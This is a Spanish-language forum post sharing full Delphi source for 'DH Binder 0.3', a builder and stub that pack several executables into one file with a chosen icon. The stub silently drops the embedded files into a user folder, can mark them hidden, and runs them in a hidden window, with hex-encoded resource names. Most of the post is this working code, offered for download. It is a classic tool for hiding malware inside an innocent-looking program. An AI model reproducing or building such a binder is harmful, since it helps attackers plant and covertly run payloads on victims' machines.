[Delphi] DH Binder 0.3

Iniciado por BigBear, Octubre 25, 2013, 12:05:37 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

    Una imagen :



    El codigo del Binder.

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit dhbinde;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
      StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sStatusBar1: TsStatusBar;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sGroupBox3: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox4: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox5: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sGroupBox6: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        PopupMenu1: TPopupMenu;
        l1: TMenuItem;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        sEdit1: TsEdit;
        C1: TMenuItem;
        procedure l1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about;
    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.C1Click(Sender: TObject);
    begin
      sListView1.Items.Clear;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'ICO|*.ico|';

    end;

    procedure TForm1.l1Click(Sender: TObject);
    var
      op: String;
    begin

      if OpenDialog1.Execute then
      begin

        op := InputBox('Add File', 'Execute Hide ?', 'Yes');

        with sListView1.Items.Add do
        begin
          Caption := ExtractFileName(OpenDialog1.FileName);
          if (op = 'Yes') then
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Hide');
          end
          else
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Normal');
          end;
        end;

      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin

      if OpenDialog2.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog2.FileName);
        sEdit1.Text := OpenDialog2.FileName;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;

    begin

      if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (sCheckBox1.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
            , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
          True);

        uno := BeginUpdateResource
          (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

        for i := 0 to sListView1.Items.Count - 1 do
        begin

          nombre := sListView1.Items[i].Caption;
          ruta := sListView1.Items[i].SubItems[0];
          tipo := sListView1.Items[i].SubItems[1];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
            + '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
              SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

        if not(sEdit1.Text = '') then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(sEdit1.Text)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              Form1.sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              Form1.sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close();
    end;

    end.

    // The End ?


    El codigo del Stub

    Código: delphi

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    // Stub

    program stub;

    uses
      Windows,
      SysUtils,
      ShellApi;

    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      data := FindResource(0, cinco, cuatro);

      uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
        dos, nil);

      CloseHandle(uno);

      if (ocultar = '1') then
      begin
        SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
      end;

      if (tipodecarga = 'normal') then
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
      end;

    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.